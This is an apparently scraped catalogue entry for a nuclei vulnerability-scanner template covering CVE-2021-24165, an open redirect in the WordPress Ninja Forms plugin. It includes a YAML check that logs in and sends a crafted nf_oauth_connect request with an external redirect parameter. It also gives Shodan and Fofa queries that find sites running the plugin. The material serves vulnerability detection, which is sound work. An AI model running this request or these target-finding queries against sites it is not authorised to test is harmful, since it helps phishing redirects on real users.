CVE-2021-24165: WordPress Ninja Forms <3.4.34 - Open Redirect
- Template: CVE-2021-24165
- Name: WordPress Ninja Forms <3.4.34 - Open Redirect
- Description: WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
- Impact: An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
- Remediation: Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability.
- Severity: medium
- Authors: dhiyaneshDk, daffainfo
- Tags: cve2021, cve, wordpress, redirect, wp-plugin, authenticated, wp, wpscan, ninjaforms, vuln
- References: https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818, https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/, https://nvd.nist.gov/vuln/detail/CVE-2021-24165, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2021-24165
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-24165.yaml
- Digest: 490a0046304402206b70803fa84f575420a21fbb85541feb5a807e1caf9ce1b63dfae46021614a5302206896fdd71ee7ae422ded276cf7bbc9864bfb1563fba5340325bf3a56ec686228
- Created at: 2022-02-15T13:05:47Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1743
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24165.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-601
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01635
- Epss percentile: 0.76949
- Cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
Metadata
- Fofa-query: body=/wp-content/plugins/ninja-forms/
- Framework: wordpress
- Max-request: 2
- Product: ninja_forms
- Publicwww-query: /wp-content/plugins/ninja-forms/
- Shodan-query: http.html:/wp-content/plugins/ninja-forms/
- Vendor: ninjaforms
Products
| Product | Indexed | Url |
|---|---|---|
| ninjaforms:ninja_forms | yes | /v1/products/ninjaforms/ninja_forms |
Labels
- Name: WordPress Ninja Forms - Open Redirect
- Impact: Attackers can redirect users to malicious sites, potentially leading to phishing, data theft, or unauthorized operations.
- Remediation: Update to version 3.4.34 or later.
- Vulnerability type: open_redirect
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-24165
- Checked, none or zero: vulnerability impact
- Not known: requirements
```yaml
id: CVE-2021-24165
info:
name: WordPress Ninja Forms <3.4.34 - Open Redirect
author: dhiyaneshDk,daffainfo
severity: medium
description: |
WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
remediation: |
Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability.
reference:
- https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818
- https://nvd.nist.gov/vuln/detail/CVE-2021-24165
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24165
cwe-id: CWE-601
epss-score: 0.01635
epss-percentile: 0.76949
cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: ninjaforms
product: ninja_forms
framework: wordpress
shodan-query: http.html:/wp-content/plugins/ninja-forms/
fofa-query: body=/wp-content/plugins/ninja-forms/
publicwww-query: /wp-content/plugins/ninja-forms/
tags: cve2021,cve,wordpress,redirect,wp-plugin,authenticated,wp,wpscan,ninjaforms,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_1 == 302'
- 'status_code_2 == 302'
- "contains(header_2, 'Location: https://interact.sh?client_id=1')"
condition: and
digest: 490a0046304402206b70803fa84f575420a21fbb85541feb5a807e1caf9ce1b63dfae46021614a5302206896fdd71ee7ae422ded276cf7bbc9864bfb1563fba5340325bf3a56ec686228:922c64590222798bb761d5b6d8e72950
```